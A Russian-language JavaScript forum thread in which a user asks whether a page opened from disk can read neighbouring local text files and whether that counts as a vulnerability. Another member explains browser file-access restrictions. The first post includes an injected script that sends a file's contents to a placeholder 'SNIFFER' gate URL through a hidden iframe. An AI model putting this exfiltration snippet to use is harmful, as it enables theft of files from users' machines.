Javascript-форум (https://javascript.ru/forum/)
-   Events/DOM/Window (https://javascript.ru/forum/events/)
-   -   чтение локального файла и отправка на гейт. бага? (https://javascript.ru/forum/events/66676-chtenie-lokalnogo-fajjla-i-otpravka-na-gejjt-baga.html)

kingofparty 01.01.2017 14:16

чтение локального файла и отправка на гейт. бага?
 
Приветствую. Пытаюсь получить тело #frm1

var body1 = $("#frm1").contents().find("body").html();
console.log(body1); //undefined


Файл 1.txt лежит рядом.

<iframe id="frm1" width="500px" height="500px" src="file:///D:\html\1.txt"></iframe>


Не получается из за политики безопасности?
Ок. Что если внутрь тела frm1 добавить JS код который будет создавать еще один iframe и отправлять тело документа (из созданного iframe'a)

$( document ).ready(function() {
	    
    var $iframe = $('#frm1');
    $iframe.ready(function() {
	    
	    var script = 'var body=document.body.innerHTML; var ifrm = document.createElement("iframe"); ifrm.setAttribute("src", "http://SNIFFER/ss.php?data="+ body); ifrm.style.width = "4px"; ifrm.style.height = "4px"; document.body.appendChild(ifrm);';
        $iframe.contents().find("body").append($('<script>').html(script));
    
	});
    

	
	});


На удивление - работает.
Повторюсь файлы .html и 1.txt лежат в одной директории (из других директорий выводит, но не отправляет, в console.log тоже не выводит, не знаю почему. Работает только с .txt)
Что если злоумышленник будет перебирать пути (как вариант password.txt) и отправлять себе. Достаточно будет только запустить .html файл

kingofparty 01.01.2017 15:40

Гейт в моем случае php скрипт который сохраняет значение переменной data (get)

kingofparty 01.01.2017 16:01

да нет вопросов. можно это считать за уязвимость?)

kingofparty 01.01.2017 16:23

$( document ).ready(function() {
	    
   var $iframe = $('#frm1');
   $iframe.ready(function() {

	 var body = $iframe.contents().find("body").html();
	 
     console.log(body);
    
	});

	});


<body>
<iframe id="frm1" width="500px" height="500px" src="file:///D:/html/1.txt"></iframe>
</body>


в переменную body подгружается тело файла 1.txt. Работает если только файл лежит рядом с .html файлом откуда идет запуск js скрипта. Почему не удается получить тело другого удаленного локального .txt файл не понятно.

laimas 01.01.2017 16:32

Цитата:

Сообщение от kingofparty
Почему не удается получить тело другого удаленного локального .txt файл не понятно.

Потому, что это и есть уязвимость.

kingofparty 01.01.2017 16:48

Цитата:

Сообщение от laimas (Сообщение 439492)
Потому, что это и есть уязвимость.

не понял. тут уже срабатывает политика без-и?

laimas 01.01.2017 16:51

Если бы клиент разрешал загружать любой локальный файл по любому произвольному адресу на клиенте, то чтобы чаще всего загружали?

kingofparty 01.01.2017 16:59

Цитата:

Сообщение от laimas (Сообщение 439497)
Если бы клиент разрешал загружать любой локальный файл по любому произвольному адресу на клиенте, то чтобы чаще всего загружали?

password я думаю и тп.

спасибо. думал уязвимость была)

laimas 01.01.2017 17:09

Цитата:

Сообщение от kingofparty
password я думаю и тп.

Надо быть наивным, хранить файлы с такими именами. Если бы была возможность, то первый кандидат, это файл реестра, далее файлы браузеров и прочих лакомств.

А вообще, если для себя, то полезно забыть о браузере и писать ПО локальное.


Часовой пояс GMT +3, время: 06:27.